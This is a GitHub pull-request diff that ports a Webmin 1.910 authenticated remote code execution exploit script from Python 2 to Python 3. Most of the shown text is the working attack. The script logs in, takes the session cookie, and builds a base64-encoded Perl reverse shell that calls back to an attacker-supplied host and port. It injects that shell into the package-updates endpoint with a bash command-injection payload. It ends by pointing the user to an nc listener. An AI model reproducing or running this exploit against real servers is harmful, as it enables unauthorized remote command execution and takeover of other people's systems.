Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Webmin-1.910-Exploit-Script
# Webmin-1.910-Exploit-Script (PYTHON 3 version)
#### Webmin 1.910 - Remote Code Execution Using Python Script

# Usage
Expand Down
104 changes: 60 additions & 44 deletions webmin_exploit.py
Original file line number Diff line number Diff line change
@@ -1,71 +1,87 @@
#!/usr/bin/env python2
# -*- coding: utf8 -*-
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import urllib3
urllib3.disable_warnings()
import argparse
import sys
import base64
from termcolor import colored


arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script')
arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True)
arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000)
arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True)
arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444)
arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str)
arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str)
arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str)
arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str)
arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using Python 3 script')
arg_parser.add_argument('--rhost', dest='rhost', help='IP address of the Webmin server', type=str, required=True)
arg_parser.add_argument("--rport", dest="rport", type=int, help="Target Webmin port, default 10000", default=10000)
arg_parser.add_argument('--lhost', dest='lhost', help='Local IP address to listen for the reverse shell', type=str, required=True)
arg_parser.add_argument("--lport", dest="lport", type=int, help="Bind port for the reverse shell (default: 4444)", default=4444)
arg_parser.add_argument('-u', '--user', dest='user', help='Username for authentication (default: admin)', default='admin', type=str)
arg_parser.add_argument('-p', '--password', dest='password', help='Password for authentication', required=True, type=str)
arg_parser.add_argument('-t', '--TARGETURI', dest='targeturi', help='Base path for Webmin (default: /)', default='/', type=str)
arg_parser.add_argument('-s', '--SSL', dest='ssl', help='Use SSL (default: False)', default='False', type=str)
args = arg_parser.parse_args()

# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
# retrieve the Cookies sid:
print colored('****************************** Webmin 1.910 Exploit By roughiz*******************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('*********************************************************************************************', "blue")
print colored('****************************** Retrieve Cookies sid *****************************************', "blue")
# proxy for testing (optional)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

print(colored('****************************** Webmin 1.910 Exploit By roughiz *******************************', "blue"))
print(colored('*********************************************************************************************', "blue"))
print(colored('****************************** Retrieve Cookies sid *****************************************', "blue"))

req = {'page': '', 'user': args.user, 'pass': args.password}

req={'page':'','user':args.user,'pass':args.password}
if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'):
url="https://"+args.rhost+":"+str(args.rport)+args.targeturi
url = "https://" + args.rhost + ":" + str(args.rport) + args.targeturi
else:
url="http://"+args.rhost+":"+str(args.rport)+args.targeturi
url = "http://" + args.rhost + ":" + str(args.rport) + args.targeturi

resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False)
if "This web server is running in SSL mode" in resu.content:
print colored('********** [+] [Exploit][ERROR] Enable the ssl arg !!', "red")
print(resu.content)
try:
resu = requests.post(url + "session_login.cgi", data=req, cookies={"testing": "1"}, verify=False, allow_redirects=False)
except Exception as e:
print(colored(f"[ERROR] Connection failed: {e}", "red"))
sys.exit(1)
if "sid" in resu.headers['Set-Cookie']:
sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip()
print("\n")
print colored('********** [+] [Exploit] The Cookie is '+sid, "green")

if "This web server is running in SSL mode" in resu.text:
print(colored('[+] [Exploit][ERROR] Enable the ssl arg !!', "red"))
print(resu.text)
sys.exit(1)

if 'Set-Cookie' in resu.headers and "sid" in resu.headers['Set-Cookie']:
sid = resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip()
print("\n")
print(colored('[+] [Exploit] The Cookie is ' + sid, "green"))
else:
print colored('********** [+] [Exploit][ERROR] The authentication to the webmin server failed', "red")
sys.exit(1)
print(colored('[+] [Exploit][ERROR] Authentication to Webmin server failed', "red"))
sys.exit(1)

print("")
print colored('********************************************************************************************', "blue")
print colored('****************************** Create payload and Exploit ***********************************', "blue")
print(colored('****************************** Create payload and Exploit ***********************************', "blue"))
print("\n")

# Templateofthe payload
template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
b64payload = template.encode('base64').replace('\n', '').strip()
payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"'
# Payload template
template = (
"perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}"
"$c=new IO::Socket::INET(PeerAddr,\"" + args.lhost + ":" + str(args.lport) + "\");"
"STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
)

## request the payload
req={'u':['acl/apt',payload]}
headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"}
# Base64 encode the payload
b64payload = base64.b64encode(template.encode()).decode().replace('\n', '').strip()
payload = ' | bash -c "{echo,' + b64payload + '}|{base64,-d}|{bash,-i}"'

# Send the payload
req = {'u': ['acl/apt', payload]}
headers = {
'Connection': 'close',
'Referer': url + "package-updates/?xnavigation=1"
}

try:
resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10)
resu = requests.post(url + "package-updates/update.cgi", data=req, cookies={"sid": sid}, verify=False,
allow_redirects=False, headers=headers, timeout=10)
except requests.Timeout:
pass
except requests.ConnectionError:
pass

print('\n')
print colored('********** [+] [Exploit] Verify you nc listener on port '+str(args.lport)+' for the incomming reverse shell', "green")
print(colored('[+] [Exploit] Check your nc listener on port ' + str(args.lport) + ' for the reverse shell', "green"))